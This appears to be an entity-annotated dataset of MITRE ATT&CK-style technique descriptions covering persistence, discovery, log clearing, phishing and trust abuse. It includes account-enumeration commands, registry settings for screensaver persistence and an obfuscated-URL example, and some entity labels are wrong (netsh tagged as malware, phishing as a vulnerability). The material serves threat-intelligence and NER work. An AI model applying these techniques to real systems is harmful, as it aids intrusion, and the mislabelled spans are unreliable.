+{"text": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.\n\nAdversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. \n\nWhile Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.", "spans": {"VULNERABILITY: code execution": [[177, 191]]}, "info": {"source": "apt_reports", "name": "Malicious File"}}
+{"text": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)", "spans": {}, "info": {"source": "apt_reports", "name": "Identify Business Tempo"}}
+{"text": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "spans": {"TOOL: cmd": [[590, 593]], "SYSTEM: macOS": [[789, 794]], "SYSTEM: Windows": [[441, 448]], "MALWARE: netsh": [[528, 533]], "MALWARE: Tasklist": [[599, 607]]}, "info": {"source": "apt_reports", "name": "Security Software Discovery"}}
+{"text": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "apt_reports", "name": "Publish/Subscribe Protocols"}}
+{"text": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).", "spans": {}, "info": {"source": "apt_reports", "name": "Hardware"}}
+{"text": "Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. \n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "spans": {}, "info": {"source": "apt_reports", "name": "Taint Shared Content"}}
+{"text": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user. \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.", "spans": {"SYSTEM: Active Directory": [[731, 747], [1046, 1062]], "SYSTEM: AWS": [[1341, 1344], [1584, 1587], [1659, 1662], [1717, 1720]], "ORGANIZATION: Microsoft": [[721, 730]], "ORGANIZATION: Okta": [[1333, 1337]]}, "info": {"source": "apt_reports", "name": "Trust Modification"}}
+{"text": "Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments). \n\nExamples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.", "spans": {"SYSTEM: MongoDB": [[286, 293]], "SYSTEM: MySQL": [[267, 272]], "SYSTEM: PostgreSQL": [[274, 284]], "SYSTEM: Azure": [[331, 336]], "ORGANIZATION: Amazon": [[295, 301]], "ORGANIZATION: Google": [[351, 357]]}, "info": {"source": "apt_reports", "name": "Databases"}}
+{"text": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "spans": {}, "info": {"source": "apt_reports", "name": "Symmetric Cryptography"}}
+{"text": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the Net utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.", "spans": {"FILEPATH: /etc/passwd</code>": [[445, 463]], "SYSTEM: macOS": [[322, 327], [473, 478]], "SYSTEM: ESXi": [[568, 572]], "SYSTEM: Linux": [[332, 337], [374, 379]]}, "info": {"source": "apt_reports", "name": "Local Account"}}
+{"text": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.   Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. \n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.", "spans": {"ORGANIZATION: Apple": [[117, 122], [246, 251], [368, 373]]}, "info": {"source": "apt_reports", "name": "Securityd Memory"}}
+{"text": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).", "spans": {"ORGANIZATION: Facebook": [[982, 990]]}, "info": {"source": "apt_reports", "name": "Social Media Accounts"}}
+{"text": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted. \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.\n  \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction. \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence. \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Defense Evasion.", "spans": {"SYSTEM: macOS": [[1594, 1599], [1774, 1779]], "SYSTEM: Chrome": [[2274, 2280]]}, "info": {"source": "apt_reports", "name": "Browser Extensions"}}
+{"text": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "spans": {}, "info": {"source": "apt_reports", "name": "Application Access Token"}}
+{"text": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.", "spans": {"SYSTEM: Windows": [[22, 29], [94, 101], [273, 280]]}, "info": {"source": "apt_reports", "name": "Safe Mode Boot"}}
+{"text": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.", "spans": {"FILEPATH: C:\\Windows\\System32": [[227, 246]], "FILEPATH: C:\\Windows\\sysWOW64": [[266, 285]], "SYSTEM: Windows": [[162, 169], [230, 237], [269, 276], [304, 311], [364, 371]]}, "info": {"source": "apt_reports", "name": "Screensaver"}}
+{"text": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.", "spans": {}, "info": {"source": "apt_reports", "name": "TFTP Boot"}}
+{"text": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.", "spans": {"SYSTEM: Windows": [[33, 40], [120, 127], [231, 238], [374, 381], [675, 682], [2081, 2088]]}, "info": {"source": "apt_reports", "name": "Windows Service"}}
+{"text": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "spans": {}, "info": {"source": "apt_reports", "name": "Fast Flux DNS"}}
+{"text": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.", "spans": {"TOOL: PowerShell": [[763, 773]], "SYSTEM: Windows": [[727, 734]]}, "info": {"source": "apt_reports", "name": "System Checks"}}
+{"text": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence. In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).", "spans": {"FILEPATH: /var/spool/cron/crontabs/root`).": [[663, 695]], "SYSTEM: Unix": [[197, 201], [480, 484]], "SYSTEM: ESXi": [[580, 584]], "SYSTEM: Linux": [[471, 476]]}, "info": {"source": "apt_reports", "name": "Cron"}}
+{"text": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the Net utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.", "spans": {"SYSTEM: macOS": [[448, 453]], "SYSTEM: Linux": [[486, 491]]}, "info": {"source": "apt_reports", "name": "Domain Groups"}}
+{"text": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).", "spans": {}, "info": {"source": "apt_reports", "name": "Vulnerabilities"}}
+{"text": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.", "spans": {"DOMAIN: google.com": [[1648, 1658]], "VULNERABILITY: spearphishing": [[21, 34], [163, 176], [214, 227], [528, 541], [1736, 1749]], "VULNERABILITY: phishing": [[1727, 1735], [2377, 2385]]}, "info": {"source": "apt_reports", "name": "Spearphishing Link"}}
+{"text": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items . This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism . Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "spans": {"SYSTEM: macOS": [[489, 494], [860, 865]], "ORGANIZATION: Apple": [[4, 9]]}, "info": {"source": "apt_reports", "name": "Startup Items"}}
+{"text": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs", "spans": {"FILEPATH: /var/log/</code>": [[217, 233]], "FILEPATH: /var/log/messages:</code>:": [[336, 362]], "FILEPATH: /var/log/secure</code>": [[407, 429]], "FILEPATH: /var/log/auth.log</code>:": [[439, 464]], "FILEPATH: /var/log/utmp</code>": [[493, 513]], "FILEPATH: /var/log/wtmp</code>:": [[523, 544]], "FILEPATH: /var/log/kern.log</code>:": [[567, 592]], "FILEPATH: /var/log/cron.log</code>:": [[613, 638]], "FILEPATH: /var/log/maillog</code>:": [[658, 682]], "FILEPATH: /var/log/httpd/</code>:": [[708, 731]], "SYSTEM: macOS": [[68, 73]], "SYSTEM: Linux": [[78, 83]]}, "info": {"source": "apt_reports", "name": "Clear Linux or Mac System Logs"}}
+{"text": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.  Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.", "spans": {"VULNERABILITY: zero-day": [[352, 360]], "VULNERABILITY: DoS": [[302, 305], [487, 490], [666, 669]], "VULNERABILITY: denial of service": [[283, 300]]}, "info": {"source": "apt_reports", "name": "Application or System Exploitation"}}
+{"text": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page. These persistence mechanisms can work within Outlook or be used through Office 365.", "spans": {"SYSTEM: Office 365": [[612, 622]], "SYSTEM: Microsoft Office": [[25, 41], [95, 111]], "SYSTEM: Windows": [[152, 159]], "SYSTEM: Outlook": [[445, 452], [503, 510], [585, 592]], "ORGANIZATION: Microsoft": [[25, 34], [95, 104]]}, "info": {"source": "apt_reports", "name": "Office Application Startup"}}
+{"text": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.  The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.", "spans": {"FILEPATH: C:\\Windows\\Microsoft.NET\\Framework\\v": [[393, 429]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework64\\v": [[472, 510]], "TOOL: InstallUtil": [[20, 31], [94, 105], [269, 280], [439, 450], [520, 531], [545, 556]], "SYSTEM: Windows": [[77, 84], [371, 378], [396, 403], [475, 482]], "SYSTEM: .NET": [[249, 253], [349, 353]], "ORGANIZATION: Microsoft": [[320, 329], [404, 413], [483, 492]]}, "info": {"source": "apt_reports", "name": "InstallUtil"}}
+{"text": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie.\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly  to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"DOMAIN: google.com": [[1274, 1284]], "VULNERABILITY: spearphishing": [[21, 34], [537, 550]], "VULNERABILITY: phishing": [[1381, 1389], [2110, 2118], [2195, 2203], [2714, 2722]]}, "info": {"source": "apt_reports", "name": "Spearphishing Link"}}
